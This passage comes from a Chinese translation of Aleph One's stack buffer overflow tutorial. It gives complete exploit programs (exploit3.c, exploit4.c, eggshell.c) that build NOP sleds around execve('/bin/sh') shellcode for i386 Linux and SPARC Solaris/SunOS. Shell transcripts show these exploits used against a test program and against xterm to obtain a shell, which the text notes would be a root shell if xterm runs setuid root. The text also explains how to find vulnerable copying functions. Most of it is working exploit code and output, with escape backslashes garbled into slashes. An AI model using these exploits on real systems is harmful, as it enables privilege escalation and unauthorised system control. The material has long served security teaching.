Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
我们可以看到这不是一个有效的进程。尽管知道栈是从哪开始的是几乎不可能的事,但是我们还是要猜偏移量。我们最好猜一百次,最坏几千次。问题是我们必须要猜出代码开始的准确地址。如果我们猜错了一个字节,我们就会得到一个段冲突或无效指令。一个增加我们机会的办法是在我们溢出缓存前加上NOP指令。几乎所有的处理器都有NOP指令执行空操作。它经常在定时操作时用来延迟执行。我们将利用它,将我们溢出缓存的一半用它填充。我们把我们的shell代码放在中间,后面放上返回地址。如果我们幸运返回地址指向NOP串的任何位置,它们将执行直到到达我们的代码。在Intel体系结构中NOP指令1字节长,机器代码被翻译成0x90。假设栈从地址0xFF处开始,S代表shell代码,N代表NOP指令,新栈如下:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
新的应用为:
exploit3.c
------------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory./n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x/n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '/0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
缓存大小的最好选择是大约比我们试图溢出的缓存大100字节。这将把我们的代码放在我们要溢出的缓存结尾,给NOP指令很多空间,但还是用我们猜的地址覆盖返回地址。我们想要溢出的缓存512字节长,所以我们使用612。让我们试着用新的应用来溢出我们的测试程序:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
好!第一次尝试!这个改变成百倍地完善了我们的机会。让我们在一个真正的缓存溢出上试试它。我们将在Xt库上展示我们的缓存溢出。对我们的例子我们将使用xterm(所有与Xt库连接的程序都易受攻击)。你必须运行一个X服务器,允许本地主机与它连接。从而设置你的DISPLAY变量。
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
?
骎
?へ@よ???/bin/sh?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?
?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡
?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡?郡??郡?郡?郡?郡?
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
?
骎
?へ@よ???/bin/sh?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?
?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃
?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃??
H?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?
縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?縃?
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
?
骎
?へ@よ???/bin/sh?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?
?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏
?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏??
T?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?
縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?縏?
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
有了!少于一打的尝试我们发现了神奇的数字。如果xterm安装了其自己的根,这就是根shell了。
小缓存溢出
可能有很多次你想要溢出的缓存太小,以至于或者shell代码不能适合它,它用指令而不是我们代码的地址来覆盖返回地址,或者你可以填充在字串前面的NOP数目太小,猜出它们的地址的可能性极小。从这些程序中获得一个shell我们必须用其他的办法。这个特殊的办法只有在你访问程序的环境变量时才有用。
我们所要做的就是把我们的shell代码放进一个环境变量,然后用这个变量的地址溢出缓存。这个方法还可以增加你应用的变化,因为你可以使环境变量保存尽可能大的shell代码。
环境变量存在栈顶,当程序开始时,任何由setenv()造成的改变都在别处分配。栈在开始是象这样的:
NULLNULL
利用较大的环境变量占的空间,避免由于不同的被攻击程序的运行环境导致的可用地址的变化。同时提高命中率,并且可以溢出较小的缓冲。
我们的新程序将用一个额外的变量,变量的大小包括shell代码和NOP。我们的新应用是象这样的:
exploit4.c
------------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory./n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory./n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x/n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '/0';
egg[eggsize - 1] = '/0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
让我们用我们易受攻击的测试程序试试我们的新应用:
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
工作得很好。让我们在xterm上试试它:
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"挨?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?
?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪
?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪??
挨?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?
堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?
?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪
?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪??
挨?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?
堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?
?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪?堪??堪??
挨?堪?堪?
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
第一次尝试!它当然增加了我们的机会。依赖于应用程序与你想利用的程序比较了多少环境数据,猜测的地址可能太低或太高。正负偏移量都实验一下。
发现缓存溢出
象前面说过的,缓存溢出是填充了多于它可以保存的信息到缓存里造成的结果。因为C没有什么内置的边界检查,溢出经常在写超过字符数组边界的时候出现。标准C库提供了许多函数来拷贝和添加字串,不做边界检查,包括:strcat(), strcpy(), sprintf(), 和 vsprintf()。这些函数操作null终止的字串,不检查接收字串的溢出。gets()函数从stdin读一行到缓存,直到一个新行或EOF。它不检查缓存溢出。scanf()函数组也是个问题如果你匹配一串non-white-space字符(%s),或者从一个指定的数组匹配一串非空字符(%[]),数组由字符指针指向,没有足够大来接受整个字符序列,而且你没有定义可选的最大域宽。如果这些函数中任意一个的目标是静态尺寸的缓存,它的其他参数来源用户输入,那你就有可能利用缓存溢出。
我们发现的另外一种程序组织是使用while循环从stdin或其他文件每次读一个字符到缓存,直到行末,或文件尾,或其他终止符。这种组织经常使用这些函数之一:getc(), fgetc(), 或 getchar()。如果在while循环中没有明显的溢出检查,这些程序很容易被利用。
最后,grep(1)是你的朋友。为免费操作系统及它们的应用程序提供的资源都是可用的。你一旦认识到某些商业操作系统应用程序与免费操作系统实际上是来自同一资源的,这些事实就变得有趣了。使用资源d00d。
附录A:不同操作系统/体系结构的shell代码
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string /"/bin/sh/"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
附录B:一般的缓存溢出程序
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "/x90";
char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="/xac/x15/xa1/x6e";
char shellcode[] =
"/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e/x2f/x0b/xdc/xda/x90/x0b/x80/x0e"
"/x92/x03/xa0/x08/x94/x1a/x80/x0a/x9c/x03/xa0/x10/xec/x3b/xbf/xf0"
"/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc/x82/x10/x20/x3b/x91/xd0/x20/x08"
"/x90/x1b/xc0/x0f/x82/x10/x20/x01/x91/xd0/x20/x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="/xac/x15/xa1/x6e";
char shellcode[] =
"/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e/x2f/x0b/xdc/xda/x90/x0b/x80/x0e"
"/x92/x03/xa0/x08/x94/x1a/x80/x0a/x9c/x03/xa0/x10/xec/x3b/xbf/xf0"
"/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc/x82/x10/x20/x3b/xaa/x10/x3f/xff"
"/x91/xd5/x60/x01/x90/x1b/xc0/x0f/x82/x10/x20/x01/x91/xd5/x60/x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / [email protected]
*/
#include
#include
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg./n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory./n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory./n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:/t%d/t/tEgg size:/t%d/tAligment:/t%d/t]/n",
bsize, eggsize, align);
printf("[ Address:/t0x%x/tOffset:/t/t%d/t/t/t/t]/n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '/0';
egg[eggsize - 1] = '/0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ]/n");
}